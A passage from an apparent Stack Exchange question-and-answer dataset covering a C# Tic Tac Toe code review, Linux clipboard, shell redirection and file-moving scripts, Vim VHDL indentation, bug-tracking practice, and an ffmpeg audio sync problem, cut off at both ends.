{ var square = new Button() { FlatStyle = FlatStyle.Popup, Dock = DockStyle.Fill, Font = VisualFormatter.SquareFont, }; square.MouseEnter += Square_MouseEnter; square.MouseLeave += Square_MouseLeave; square.MouseClick += Square_MouseClick; return square; } private Label CreateResultLabel() { return new Label() { AutoSize = true, Dock = DockStyle.Left, Font = VisualFormatter.ResultLabelFont, ForeColor = Color.Red, }; } private SquarePosition GetSquarePosition(Control ctrl) { return new SquarePosition( SquarePosition.ROWCOL_MIN + BoardPanel.GetRow(ctrl), SquarePosition.ROWCOL_MIN + BoardPanel.GetColumn(ctrl) ); } private void Form_Closing(object sender, FormClosingEventArgs e) { // Form allowed to close only if ordered by presenter. if (!_formOrderedToClose) { Presenter.RequestAction(GameAction.Exit); e.Cancel = true; } } private void Square_MouseEnter(object sender, EventArgs e) { Presenter.RequestMove(Common.Move.ShowPreview, GetSquarePosition(sender as Control)); } private void Square_MouseLeave(object sender, EventArgs e) { Presenter.RequestMove(Common.Move.HidePreview, GetSquarePosition(sender as Control)); } private void Square_MouseClick(object sender, MouseEventArgs e) { Presenter.RequestMove(Common.Move.Play, GetSquarePosition(sender as Control)); } private void RestartToolStripMenuItem_Click(object sender, EventArgs e) { Presenter.RequestAction(GameAction.Restart); } private void ExitToolStripMenuItem_Click(object sender, EventArgs e) { Presenter.RequestAction(GameAction.Exit); } private void LicenseToolStripMenuItem_Click(object sender, EventArgs e) { new LicenseForm().ShowDialog(); } }}LicenseFormusing System;using System.IO; namespace Mfanou.TicTacToe.UI.WinForms { internal partial class LicenseForm : MyForm { public LicenseForm() { InitializeComponent(); Text = License; textBoxLicense.Text = File.ReadAllText( Path.Combine(AppDomain.CurrentDomain.BaseDirectory, Resources, License.txt)); } } }VisualFormatterusing Mfanou.TicTacToe.Common;using System;using System.Collections.Generic;using System.Drawing;using System.Linq;using System.Windows.Forms;namespace Mfanou.TicTacToe.UI.WinForms { internal class VisualFormatter { public static readonly string GAME_TITLE = Tic Tac Toe; public static Font SquareFont => new Font(Arial, 48F, FontStyle.Regular, GraphicsUnit.Point, 0); public static Font ResultLabelFont => new Font(Microsoft Sans Serif, 10F, FontStyle.Bold, GraphicsUnit.Point, 0); public static Size FormDefaultSize = new Size(500, 549); public static Size FormMinimumSize = new Size(331, 362); public static void FormatSquare(Control square, ISquareContent content) { Color STANDARD_FCOLOR = SystemColors.ControlText; Color STANDARD_BCOLOR = SystemColors.Window; if (content.IsEmpty) { square.Text = string.Empty; square.ForeColor = STANDARD_FCOLOR; square.BackColor = STANDARD_BCOLOR; } else { VisualPlayer player = ToVisualPlayer(content.Player); square.Text = player.BoardSquareMark.ToString(); square.ForeColor = content.IsPiecePreview ? player.MovePreviewForeColor : player.MoveForeColor; square.BackColor = content.IsWinning ? player.WinBackColor : STANDARD_BCOLOR; } } public static bool ConfirmAction(GameAction action) { const string CONFIRMATION = Confirmation; const string GAME_NOT_OVER = Game is not over.\\nAre you sure you want to {0}?; var GameActionDescr = new Dictionary<GameAction, string>() { { GameAction.Restart, restart }, { GameAction.Exit, exit }, }; return MessageBox.Show( string.Format(GAME_NOT_OVER, GameActionDescr[action]), CONFIRMATION, MessageBoxButtons.YesNo, MessageBoxIcon.Question, MessageBoxDefaultButton.Button2 ) == DialogResult.Yes; } public static string GameResult(IGameStatus status) { const string GAMERESULT_TIE = It's a tie!; const string GAMERESULT_WINNER = Player {0} wins!; if (!status.IsOver) return string.Empty; if (status.IsTie) return GAMERESULT_TIE; return string.Format(GAMERESULT_WINNER, ToVisualPlayer(status.WinningPlayer).Name); } private static VisualPlayer ToVisualPlayer(IPlayer player) { var VisualPlayers = new List<VisualPlayer>() { new VisualPlayer() { Id = 1, Name = X, BoardSquareMark = 'X', MovePreviewForeColor = Color.LightBlue, MoveForeColor = Color.Blue, WinBackColor = Color.LightBlue, }, new VisualPlayer() { Id = 2, Name = O, BoardSquareMark = 'O', MovePreviewForeColor = Color.LightCoral, MoveForeColor = Color.Crimson, WinBackColor = Color.LightCoral, }, new VisualPlayer() { Id = 3, Name = +, BoardSquareMark = '+', MovePreviewForeColor = Color.LightGreen, MoveForeColor = Color.Green, WinBackColor = Color.LightGreen, }, new VisualPlayer() { Id = 4, Name = $, BoardSquareMark = '$', MovePreviewForeColor = Color.PaleTurquoise, MoveForeColor = Color.DarkTurquoise, WinBackColor = Color.PaleTurquoise, }, }; if (VisualPlayers.Count(vp => vp.Id == player.Id) == 0) throw new ArgumentOutOfRangeException(); return VisualPlayers.Single(vp => vp.Id == player.Id); } }}VisualPlayerusing Mfanou.TicTacToe.Common;using System.Drawing;namespace Mfanou.TicTacToe.UI.WinForms { internal class VisualPlayer : IPlayer { public int Id { get; set; } public string Name; public char BoardSquareMark; public Color MovePreviewForeColor; public Color MoveForeColor; public Color WinBackColor; }}My general comments:The messiest thing seems to be the TicTacToeForm. I experimented with code (instead of using the designer) for creating the menu and the grid of the board.ShowLicense should probably be an action, but then it should be athird kind.I try to keep code explaining itself. So I used comments only where I thought that it was not very clear from the code itself and/or the class/method/variable names of what happens. I have in my todo list to extract all strings (including menu captions) to a resource and write unit tests (none yet. q-:)(This is a long question. Thank you anyway for reaching that far!)P.S.: After reading the code here myself:Instead of exposing GameActionFactory and MoveFactory in Model, Icould simply expose the functions CreateGameAction and CreateMove. 2public classes less." , "title": "TicTacToe in MVP Winforms" , "tags": "c#;.net;tic tac toe;mvp" , "accepted_answer": "To begin with...public static class ExceptionBuilder { public static void CheckArgumentRangeInclusive(string varName, int value, int lowerRange, int upperRange) { if (value < lowerRange || value > upperRange) throw new ArgumentOutOfRangeException(varName); }}This is not a builder. It's a validator so I suggest naming it like ArgumentValidator and the method ValidateArgumentRangeInclusive.public enum Move { ShowPreview, HidePreview, Play}To me, ShowPreview and HidePreview are rather view options then something that has anything to do with Move.public static readonly int ROWCOL_MIN = 1;public static readonly int ROWCOL_MAX = 3;We don't use UPPER_CASE for constants in C# and the name ROWCOL isn't clear. Is it row or column? You can put them inside a static class to give the a better meaning.private void CheckRowColRange(string varName, int value) { ExceptionBuilder.CheckArgumentRangeInclusive(varName, value, ROWCOL_MIN, ROWCOL_MAX);}This method can be made static because it does not require any state information from the owning class.public interface IGameStatus { bool IsOver { get; } /// <summary>Valid only when IsEmpty is true.</summary> bool IsTie { get; } /// <summary>Valid only when IsEmpty is true and IsTie is false.</summary> IPlayer WinningPlayer { get; }}There is no IsEmpty.public Game() { MoveFactory = new MoveFactory(this); GameActionFactory = new GameActionFactory(this); Board = new Board(); Turn = new Turn<IPlayer>(Player.GetAll()); new RestartAction(this).Execute();}The constructor should not be doing any thing but initializing data. Something like new RestartAction(this).Execute(); is a very bad idea and I'd be really surprised when I created an instance of a Game and it already did something even though it's not fully created yet. What's even worse, the RestartAction dependency is not passed as a such via the costructor so there is no way to override it for testing.public IGameStatus Status => InternalStatus;internal GameStatus InternalStatus { get; set; }This doesn't seem right. Why would you make an internal status settable and the public one not? This looks like hacking something." } { "id": "_unix.136229" , "question": "Using st with dwm, depending on the way I select text (e.g. mouse vs keyboard), and where the text is (e.g. document body vs address bar), copying text from firefox and pasting it into st does not always work.Are there two different clipboards?Is there a way to unify them?" , "title": "Copy/paste does not always work from Firefox to terminal" , "tags": "x11;firefox;clipboard" } { "id": "_cogsci.6406" , "question": "Unfortunately the school I'm starting at this coming fall doesn't offer a cognitive science degree (note: I've just read that they do have a cognitive science lab in the psychology department), but seeing as cognitive science is a multidisciplinary field, I was wondering whether or not it would be unwise to focus on one particular sub-field (say, philosophy or computer science) and try to work my way into cognitive science from there.The problem is that I have a very strong background in computer science, and I'm up in the air about whether I want to study philosophy or linguistics. Based on my understanding, all of these fall under the umbrella of cognitive science, am I correct?Is it unheard of for someone to move into cognitive science from a linguistic or philosophical background? What do you suggest I do?" , "title": "Can someone move into cognitive science from a linguistic or philosophical background?" , "tags": "study cognitive sciences" , "accepted_answer": "It is common for psychology departments to have a cognitive specialization available at the graduate level. At the undergrad level, I would expect to be forced to choose between psychology, neuroscience, linguistics, or something else. That is, cognitive science does not include philosophy or computer science by most academic systems for demarcating scientific domains. In scientific reality, all these domains bleed into one another of course, but you can probably expect to have to choose among them for any degree program. One can often pursue interdisciplinary study to some extent too (e.g., double-major, minor, or have two graduate advisors).It is not unheard of to approach any degree from any other degree / background as far as I'm aware. Of course it's less likely for a creative writing major to apply for an organic chemistry doctoral program as compared to a biology major, but that's not to say either option is impossible. I don't think it would be exceptionally difficult to transition into a cognitive science from a philosophy background, and I imagine it would be easier still to transition from linguistics to psychology or neuroscience, but it's probably the easiest to stick with a single degree program the whole way. Easiest is not necessarily best, of course.Consider how competitive you can be for each program, and compare with how badly you want to pursue each and what the world needs most from you. Consider what career options are for each, and which suits you best. Travel into the future and ask your future self what choices you regret...No other method is foolproof, unfortunately. Fortunately, career change is always an option, if not always easy." } { "id": "_unix.336629" , "question": "Does this mean that my HDD will not work. /boot is having xfs partition. I wanted to repair it but don't know if the data would get lost.xfs_repair /dev/sdxx Do I need to run this." , "title": "Unbootable system I/O error" , "tags": "hard disk;troubleshooting;xfs;badblocks" } { "id": "_codereview.135570" , "question": "I wrote an age verification module in Python 2.5 . How can I improve on current_year? import time perhaps?current_year = 2016year_of_birth = int(raw_input('Enter Year Of Birth: '))age = current_year - year_of_birthmytext = 'You are %s years old.'print(mytext % age)if age < 18: print('YOU SHALL NOT PASS!')else: print('Welcome To The Portal.')" , "title": "Age verification module in Python" , "tags": "python;datetime;validation" , "accepted_answer": "Current yearIf you don't want the current year to be hardcoded, you could use the method today() from datetime.date.from datetime import datecurrent_year = date.today().yearUser inputYou should always put your user input request in a try/except block, because you never knows what the user will think and do. I'd go with:def ask_for_birth_year(): while True: try: return int(raw_input('Enter Year Of Birth: ')) except ValueError: print('This is not a number, try again.')This way it will keep asking until the user enters a proper number.UPDATE (following comment) :If you need some restriction on the input number, you could try this kind of structure :def ask_for_birth_year(): while True: try: nb = int(raw_input('Enter Year Of Birth: ')) if nb < 0: # can be any condition you want, to say 'nb' is invalid print('Invalid year') else: # if we arrive here, 'nb' is a positive number, we can stop asking break except ValueError: print('This is not a number, try again.') return nbOther remarksSince age is an integer, you'll prefer using %d instead of %s (strings) in your print call.mytext = 'You are %d years old.'It is also recommended that you put all level-0 code under a __name__ == '__main__' condition, to avoid having it launched later when you import this module. This is a good habit to take, you can read about it in the brand new StackOverflow Documentation here.if __name__ == '__main__': # do stuffFinally, the limit age (18), is what we call a magic number. It should be avoided, if you plan on making your code grow, and replaced by a meaningful constant.#at the beginningLIMIT_AGE = 18#your 'if' statementif age < LIMIT_AGE: ...Altogetherfrom datetime import dateLIMIT_AGE = 18 def ask_for_birth_year(): while True: try: nb = int(raw_input('Enter Year Of Birth: ')) if nb < 0: print('Invalid year') else: break except ValueError: print('This is not a number, try again.') return nbdef print_message(age): mytext = 'You are %d years old.' print(mytext % age) if age < LIMIT_AGE: print('YOU SHALL NOT PASS!') else: print('Welcome To The Portal.')if __name__ == '__main__': year_of_birth = ask_for_birth_year() current_year = date.today().year age = current_year - year_of_birth print_message(age)" } { "id": "_vi.2326" , "question": "When I write VHDL Vim uses a mix of tabs and spaces which aim to align columns beneath the last parenthesis. For example, Vim will produce something likeInst_IMem: IMem PORT MAP( CLK => clk, ADDR => foo, DATA => bar );instead ofInst_IMem: IMem PORT MAP( CLK => clk, ADDR => foo, DATA => bar);How can I make Vim indent VHDL as it would indent programming languages such as C and Java? I.e. a new indentation level (either a tab or say four spaces) for every new nesting level." , "title": "Indenting VHDL as other programming languages" , "tags": "indentation" , "accepted_answer": "This seems to be fairly simple, you only need to use::let g:vhdl_indent_genportmap = 0And you're done :-)I found this in /usr/share/vim/vim74/indent/vhdl.vim: option to disable alignment of generic/port mappingsif !exists(g:vhdl_indent_genportmap) let g:vhdl_indent_genportmap = 1endifWhich is used further below:if g:vhdl_indent_genportmap return ind2 + stridx(prevs_noi, '(') + &swelse return ind2 + &swendifSo if it's off (0), it will only indent a single shiftwidth, if it's on (1), it uses the location of the ( on the previous line + `shiftwidth.This (and some other things) are also documented in :help ft-vhdl-indent; I found this page by typing :help vhdl (a number of filetypes have their own help pages)." } { "id": "_softwareengineering.293815" , "question": "I am working in a project in which at many point I need to change the code and fix the bug of the system but how can I inform other team members about this change? Usually I add single line comment to that particular point or create task in eclipse and write bug fix as follows,//Fixed PRJ110-345 called checkAndClear to clear myObjectmyObject = myObject.checkAndClear();But this does not look good when I change something in properties or sql file of the project.Moreover I need to search for this PRJ110-345 to find the bug fixed or use regular expression to find all issue number but those might have solved by other team member. What is the best way to keep track of issues in the code among the team member ? Sometimes I can not differentiate between my solved bugs and other team member's bug fix. Currently we don't have different accounts for issue tracking system (JIRA) and team leader just distributes the Bugs among team member and it's difficult for me to track my fixes every time." , "title": "Track Bug fixes in code" , "tags": "java;issue tracking" , "accepted_answer": "You shouldn't track bug fixes in the code. It might make sense to track some unfixed bugs in the code, as a warning to other developers that look at that code that it has bugs that you didn't get around to fixing it. Something like://Currently crashes - see PRJ110-345myObject.initialize();But noting in the code that the bug has been fixed is pointless, because the bug is something that shouldn't have been part of the code in the first place - why documenting something that isn't there and shouldn't be there? I can easily introduce new bugs to your code by randomly typing commands into it - for example I can set myObject to null at random places. Are you going to document on every line why myObject isn't set to null on that line?The place to put these comments is in the source control - and it sounds like you are not using source control, so you should start using one - I suggest Git. A source control (among other things it does) represents the history of your project as commits - each commit is a diff that (together with previous commits) describes how the code looked before the change and how it looks after the change, and allows you to enter a commit message that describes the change - what you did and/or why. This is where you document the bug fix.So, instead of looking at comments in the code you look at commit messages and see what your teammates did - here is how it looks in on BitBucket. That way, your code stays clean but you still get access to all the info." } { "id": "_webapps.88694" , "question": "The Webclipper is too much. I don't want the whole webpage, just the URL and a comment. Any ideas? " , "title": "Way to save URL + comment into Evernote?" , "tags": "url;evernote" } { "id": "_unix.251871" , "question": "I have a shell script which makes some analysis and prepares (i.e.: writes) some commands to run in a separated file.So I have something like that:echo my_command_to_run >> /tmp/file_command_to_run.txtI have the feeling that the program is slower and slower.Is it possible that the program takes longer when the file is bigger (~3M of lines)?I am also storing some stuff in memory, so this is also probably a source of my problem, but I just want to know if I need to redirect the output in different files. (e.g.: write several files of 2000 lines)EDIT:My script is preparing the move of ~64M (millions) files into a much better architecture. So I go through all the different structured folders, and prepare the move.I have such array in memory:topic1 -> /path/to/my/foldertopic1_number_of_files -> nbso my array is also getting bigger because I have several entries (max ~ 4'000). Otherwise this is always the same OPs which are run.Only my array and my file are getting bigger.EDIT2: Below is my scriptNote: I have several folders containing maximum 100'000 files inside.I can have : folder1 -> (source1__description1, source1__description2, source2__description3)Goal: have something like that:source1/folder1 -> (source1__description1, source1__description2)source2/folder1 -> (source2__description3, ...)Current performances:~900'000 lines inserted in 14 hours <=> this will take around 40 days to prepare all the move commands#!/bin/bashargument=$1if [[ -n $argument ]] && [[ -e $argument ]]; then html_folder=$argument echo We will move [folder]/files from your parameters: '$html_folder'else html_folder=/var/files/html_files/ echo NO PARAMETER (or folder does not exist) - We will move [folder]/files from $html_folderfi######################## create the list ########################filename=/var/files/html_files/list_folder.txt # list generated with ls -1 -f (this doesn't take everything in memory)ls -1 -fp $html_folder | grep '/$' | grep 'folder'> $filename#################### END create the list ########################echo # --------------------------------------------------------------# -------------- Global variables for moving part --------------# -------------------------------------------------------------- # Variables for storing the folder/files tree declare -A folder_array # array of folder '/files/publisher_html/10.3390' => 4 (i.e.: 4 folders for mdpi) declare -A folder_files_array # array of files in last folder '/files/publisher_html/10.3390' => 51 (i.e.: 51 files in the 4th folders for mdpi) storageFolder=/files/publisher_html/ nb_limit=100000 # max number of file per folder file_nb=0 current_folder=# --------------------------------------------------------------# --------------------------------------------------------------# --------------------------------------------------------------# --------------------------------------------------------------# -------------- Global functions for moving part --------------# -------------------------------------------------------------- countNumberOfFilesPerFolder () { nb=0 if [[ -e $1 ]]; then nb=$(ls -1fp $1 | grep -v '/$' | wc -l ) fi echo $nb } createFolderIfNeeded () { # $1 # first arg (/path/to/htmlfiles/10.3390) tmp_folder= nb_folder=1 nb_files=0 if [[ ! -e $1 ]]; then # if folder doesn't exist sudo mkdir -p $1/folder$nb_folder ; # create the folders if don't exist else #echo THE FOLDER $tmp_folder ALREADY EXISTED...BE AWARE!!! if [[ -e ${folder_array[$1]} ]]; then nb_folder=${folder_array[$1]} # take the value from memory if available else nb_folder=$(ls -1f $1 | grep folder | wc -l ) fi if (($nb_folder==0)); then # if no subfolder for the publisher folder nb_folder=1 nb_files=0 sudo mkdir -p $1/folder$nb_folder # simply create the first folder else # if [[ -e ${folder_files_array[$1]} ]]; then if [[ ${folder_files_array[$1]} ]]; then nb_files=${folder_files_array[$1]} # value from memory #echo value from MEEEEEM: $1 => $nb_files else nb_files=`countNumberOfFilesPerFolder $1/folder$nb_folder` #echo value from COOOOOOUNT: $1 => $nb_files fi if (($nb_files >= $nb_limit)); then # create a new folder + reset memory value ((nb_folder++)) nb_files=0 sudo mkdir -p $1/folder$nb_folder #`createFolderIfNeeded $1/folder$nb_folder` # NO CORRECT -> will create a subfolder fi fi fi #((nb_files++)) folder_files_array[$1]=$nb_files folder_array[$1]=$nb_folder current_folder=$1/folder$nb_folder # change the global variable } extractPrefix() { whotest[0]='test' || (echo 'Failure: arrays not supported in this version of bash.' && exit 2) array=(${1//__/ }) prefix=${array[0]} echo $prefix }# --------------------------------------------------------------# --------------------------------------------------------------# --------------------------------------------------------------toMoveFolder=$html_foldertoMove/toMoveFileIndex=1toMoveCmdNumber=0maxCmdInFile=2000if [[ ! -e $toMoveFolder ]]; then # if folder doesn't exist sudo mkdir -p $toMoveFolder ; # create the foldersficd $html_folderwhile read -r folder # for each folderdo if [[ -e $folder ]]; then echo Will manage folder: $folder# ---------------------------------------------------------------------------------------------------# -------------------------------------- MOVE INDIVIDUAL FILES --------------------------------------# --------------------------------------------------------------------------------------------------- argument=$html_folder$folder cpt=0 #argument=$1 if [[ -n $argument ]] && [[ -e $argument ]]; then html_files_folder=$argument else html_files_folder=/var/files/html_files/html_files/ fi ######################## create the list ######################## htmlList=/var/files/html_files/list_html.txt # list generated with ls -1 -f (this doesn't take everything in memory) ls -1f $html_files_folder > $htmlList # no need to exclude the . and .. (we exclude from the foreach) #################### END create the list ######################## echo current_folder=$storageFolder # probably useless while read -r line do name=$line if [[ $name != . ]] && [[ $name != .. ]]; then # don't take the folder itself prefix=`extractPrefix $name` if [ -n $prefix ]; then # change the global $current_folder # + create new subfolder if needed # + increment nb of files in folder createFolderIfNeeded $storageFolder$prefix ((cpt++)) if(( $toMoveCmdNumber >= $maxCmdInFile )); then toMoveCmdNumber=0 ((toMoveFileIndex++)) fi echo sudo mv $html_files_folder$name $current_folder/$name | sed -r 's/[\\(\\)]+/\\\\&/g' >> $toMoveFoldercommand_$toMoveFileIndex.txt ((toMoveCmdNumber++)) ((folder_files_array[$storageFolder$prefix]++)) if (( $cpt % 50 == 0 ));then echo echo Remind: folder -> $current_folder/ echo ${#folder_array[@]} publishers in memory! fi echo #$cpt - $name (${folder_files_array[$storageFolder$prefix]} files) else echo ERROR -> $name has not been moved as expected fi fi # >> $toMoveFolderfile$toMoveFileIndex.txt # <== does not take the toMoveFileIndex variation in consideration done < $htmlList # useful if we use the while echo Folder $html_files_folder has been processed echo # ---------------------------------------------------------------------------------------------------# ---------------------------------------------------------------------------------------------------# --------------------------------------------------------------------------------------------------- else # END if [[ -e $folder ]]; then echo ; echo ERROR -> folder $folder does NOT exist!; echo continue fidone < $filename # useful if we use the whileecho The script to prepare the move of the html files FROM FOLDER in other folders finished!echo echo echo FOLDER ARRAY AT THE END: for i in ${!folder_array[@]}; do echo folder : $i => nb_folder: ${folder_array[$i]} / nb__file in last folder: ${folder_files_array[$i]}; doneecho echo echo This is the end of the scriptAnd the partitions:$df -h/dev/sdb1 2.0T 370G 1.7T 19% /var/filesX.X.X.X:/files 11T 2.8T 7.2T 28% /filesLAST EDIT:After further analysis, I found that /var/files/html_files/ was a symlink to /files/html_files/So the source and destination were actually the same (remote) server.I placed my script to run on the remote server, and it seems to be much faster.Thanks for your help and interesting comments!" , "title": "is linux redirect >> slower with bigger files?" , "tags": "io redirection" , "accepted_answer": "I just want to know if I need to redirect the output in different files. (e.g.: write several files of 2000 lines)Splitting into a larger number of files will not necessarily equal faster execution. Three simple test cases illustrate this. These three cases print 3M lines each. These are listed in the order of execution speed, fastest to slowest.One Redirection Outside of Loopfor i in $(seq $((3000000/2000))); do seq 2000; done > fileAppending to the Same File, Inside the Loopfor i in $(seq $((3000000/2000))); do seq 2000 >> file; doneSplitting Output to Multiple Filesfor i in $(seq $((3000000/2000))); do seq 2000 > file$i; doneThe latter commands consistently take more user and system time than the former commands.From this we can conclude that splitting into a larger number of files does not guarantee performance increase in this simple case. The opposite is true.Number of I/O OperationsThe performance depends not only on the size of the file but also the number of IO operations. When appending (>>) even more I/O calls take place in order to seek to the end of the file.This first script performs the i/o operations (>>) outside the for loop:$ cat outloop.sh#!/bin/sh>filefor i in $(seq 1 ${1:?})do echo $idone >> fileThis script, on the other hand, performs the i/o operations (>>) on each iteration, inside the for loop:$ cat inloop.sh#!/bin/sh>filefor i in $(seq 1 ${1:?})do echo $i >> filedoneRun and compare, see how the location of the >> operator affects performance:$ x=500000; time sh outloop.sh $x; time sh inloop.sh $x; real 0m1.227suser 0m0.389ssys 0m0.859sreal 0m2.996suser 0m0.809ssys 0m2.197sPlacing the redirection operator outside the loop doubles the performance when writing 500000 lines (on my system)." } { "id": "_unix.3125" , "question": "I am building a Linux kernel, via the Debian linux-2.6 source package.Now there's CONFIG_VZ_FAIRSCHED=y in a sub-config, which gets merged into the final .config, where apparently also y gets used:# grep FAIRSCHED debian/config/**/*debian/config/featureset-openvz/config:CONFIG_VZ_FAIRSCHED=yThe .config used during build:# grep FAIRSCHED debian/build/build_amd64_openvz_amd64/.configCONFIG_VZ_FAIRSCHED=yI could understand the warning, if now n would be used, but nothing appears to have been changed?!This is the output during the make -f debian/rules.gen binary-arch_amd64_openvz_amd64 binary-indep call:make[2]: Entering directory `/var/lib/vz/private/linux.nobackup/linux-2.6/debian/build/source_amd64_openvz' HOSTCC scripts/basic/fixdep HOSTCC scripts/basic/docproc HOSTCC scripts/basic/hash GEN /var/lib/vz/private/linux.nobackup/linux-2.6/debian/build/build_amd64_openvz_amd64/Makefile HOSTCC scripts/kconfig/conf.o HOSTCC scripts/kconfig/kxgettext.o SHIPPED scripts/kconfig/zconf.tab.c SHIPPED scripts/kconfig/lex.zconf.c SHIPPED scripts/kconfig/zconf.hash.c HOSTCC scripts/kconfig/zconf.tab.o HOSTLD scripts/kconfig/confscripts/kconfig/conf -R arch/x86/Kconfig.config:3518:warning: override: VZ_FAIRSCHED changes choice stateWhat is this warning referring to?" , "title": "What does warning: override: VZ_FAIRSCHED changes choice state mean?" , "tags": "kernel;configuration" } { "id": "_unix.94036" , "question": "I have put together this script for recording the microphone, the desktop audio and the screen using ffmpeg:DATE=`which date`RESO=2560x1440FPS=30PRESET=ultrafastDIRECTORY=$HOME/Video/FILENAME=videocast`$DATE +%d%m%Y_%H.%M.%S`.mkvffmpeg -y -vsync 1 \\-f pulse -ac 2 -i alsa_output.pci-0000_00_1b.0.analog-stereo.monitor \\-f pulse -ac 1 -ar 25000 -i alsa_input.usb-0d8c_C-Media_USB_Headphone_Set-00-Set.analog-mono \\-filter_complex aresample=async=1,amix=duration=shortest,apad \\-f x11grab -r $FPS -s $RESO -i :0.0 \\-acodec libvorbis \\-vcodec libx264 -pix_fmt yuv420p -preset $PRESET -threads 0 \\$DIRECTORY$FILENAMEEverything is recorded and between the screen and the microphone sound there are no issues what so ever, however the desktop audio falls behind badly. It begins in sync but gets worse over time during playback, also in ffplay. It does not matter what application playing sound: both Youtube-videos in the browser, desktop sounds and Rhythmbox (playing a couple of seconds of song then stops, wait and repeat) gets out of sync.The terminal output complain about ALSA lib pcm.c:7843:(snd_pcm_recover) overrun occurred22.73 bitrate=10384.5kbits/s ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred and similar but I do not know what that means.Full terminal output here:ffmpeg version 2.0.1 Copyright (c) 2000-2013 the FFmpeg developers built on Aug 11 2013 14:52:28 with gcc 4.8.1 (GCC) 20130725 (prerelease) configuration: --prefix=/usr --disable-debug --disable-static --enable-avresample --enable-dxva2 --enable-fontconfig --enable-gpl --enable-libass --enable-libbluray --enable-libfreetype --enable-libgsm --enable-libmodplug --enable-libmp3lame --enable-libopencore_amrnb --enable-libopencore_amrwb --enable-libopenjpeg --enable-libopus --enable-libpulse --enable-librtmp --enable-libschroedinger --enable-libspeex --enable-libtheora --enable-libv4l2 --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libxvid --enable-pic --enable-postproc --enable-runtime-cpudetect --enable-shared --enable-swresample --enable-vdpau --enable-version3 --enable-x11grab libavutil 52. 38.100 / 52. 38.100 libavcodec 55. 18.102 / 55. 18.102 libavformat 55. 12.100 / 55. 12.100 libavdevice 55. 3.100 / 55. 3.100 libavfilter 3. 79.101 / 3. 79.101 libavresample 1. 1. 0 / 1. 1. 0 libswscale 2. 3.100 / 2. 3.100 libswresample 0. 17.102 / 0. 17.102 libpostproc 52. 3.100 / 52. 3.100Guessed Channel Layout for Input Stream #0.0 : stereoInput #0, pulse, from 'alsa_output.pci-0000_00_1b.0.analog-stereo.monitor': Duration: N/A, start: 0.014093, bitrate: 1536 kb/s Stream #0:0: Audio: pcm_s16le, 48000 Hz, stereo, s16, 1536 kb/sGuessed Channel Layout for Input Stream #1.0 : monoInput #1, pulse, from 'alsa_input.usb-0d8c_C-Media_USB_Headphone_Set-00-Set.analog-mono': Duration: N/A, start: 0.006172, bitrate: 400 kb/s Stream #1:0: Audio: pcm_s16le, 25000 Hz, mono, s16, 400 kb/s[x11grab @ 0x218a6e0] device: :0.0 -> display: :0.0 x: 0 y: 0 width: 2560 height: 1440[x11grab @ 0x218a6e0] shared memory extension foundInput #2, x11grab, from ':0.0': Duration: N/A, start: 1379021580.184321, bitrate: N/A Stream #2:0: Video: rawvideo (BGR[0] / 0x524742), bgr0, 2560x1440, -2147483 kb/s, 30 tbr, 1000k tbn, 30 tbc[libx264 @ 0x21ae560] using cpu capabilities: MMX2 SSE2Fast SSSE3 SSE4.2 AVX[libx264 @ 0x21ae560] profile Constrained Baseline, level 5.0[libx264 @ 0x21ae560] 264 - core 133 r2339 585324f - H.264/MPEG-4 AVC codec - Copyleft 2003-2013 - http://www.videolan.org/x264.html - options: cabac=0 ref=1 deblock=0:0:0 analyse=0:0 me=dia subme=0 psy=1 psy_rd=1.00:0.00 mixed_ref=0 me_range=16 chroma_me=1 trellis=0 8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=0 threads=12 lookahead_threads=2 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=0 weightp=0 keyint=250 keyint_min=25 scenecut=0 intra_refresh=0 rc=crf mbtree=0 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=0Output #0, matroska, to '/home/anders/Video/videocast12092013_23.33.00.mkv': Metadata: encoder : Lavf55.12.100 Stream #0:0: Audio: vorbis (libvorbis) (oV[0][0] / 0x566F), 25000 Hz, mono, fltp Stream #0:1: Video: h264 (libx264) (H264 / 0x34363248), yuv420p, 2560x1440, q=-1--1, 1k tbn, 30 tbcStream mapping: Stream #0:0 (pcm_s16le) -> aresample (graph 0) Stream #1:0 (pcm_s16le) -> amix:input1 (graph 0) amix (graph 0) -> Stream #0:0 (libvorbis) Stream #2:0 -> #0:1 (rawvideo -> libx264)Press [q] to stop, [?] for helpALSA lib pcm.c:7843:(snd_pcm_recover) overrun occurred22.73 bitrate=10384.5kbits/s ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurredALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred3.22 bitrate=10423.3kbits/s ALSA lib pcm.c:7843:(snd_pcm_recover) overrun occurred25.25 bitrate=11011.0kbits/s ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurredALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred5.76 bitrate=11013.7kbits/s ALSA lib pcm.c:7843:(snd_pcm_recover) overrun occurred27.25 bitrate=11175.4kbits/s ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred7.76 bitrate=11168.7kbits/s ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurred8.24 bitrate=11176.4kbits/s ALSA lib pcm.c:7843:(snd_pcm_recover) overrun occurred55.48 bitrate=11243.8kbits/s ALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurredALSA lib pcm.c:7843:(snd_pcm_recover) underrun occurredframe=12871 fps= 30 q=-1.0 Lsize= 542369kB time=00:07:09.31 bitrate=10349.3kbits/s video:539762kB audio:2363kB subtitle:0 global headers:3kB muxing overhead 0.044476%[libx264 @ 0x21ae560] frame I:52 Avg QP:15.46 size:725888[libx264 @ 0x21ae560] frame P:12819 Avg QP:18.26 size: 40172[libx264 @ 0x21ae560] mb I I16..4: 100.0% 0.0% 0.0%[libx264 @ 0x21ae560] mb P I16..4: 2.6% 0.0% 0.0% P16..4: 18.1% 0.0% 0.0% 0.0% 0.0% skip:79.3%[libx264 @ 0x21ae560] coded y,uvDC,uvAC intra: 57.8% 49.8% 25.3% inter: 8.9% 8.7% 2.2%[libx264 @ 0x21ae560] i16 v,h,dc,p: 23% 29% 32% 16%[libx264 @ 0x21ae560] i8c dc,h,v,p: 45% 28% 18% 9%[libx264 @ 0x21ae560] kb/s:10306.26Please help me, I am really close to get this working! UPDATE: The desktop audio is out of sync when skipping filter_complex and microphone also, bit in a smaller amount. Using copy instead of libvorbis does not 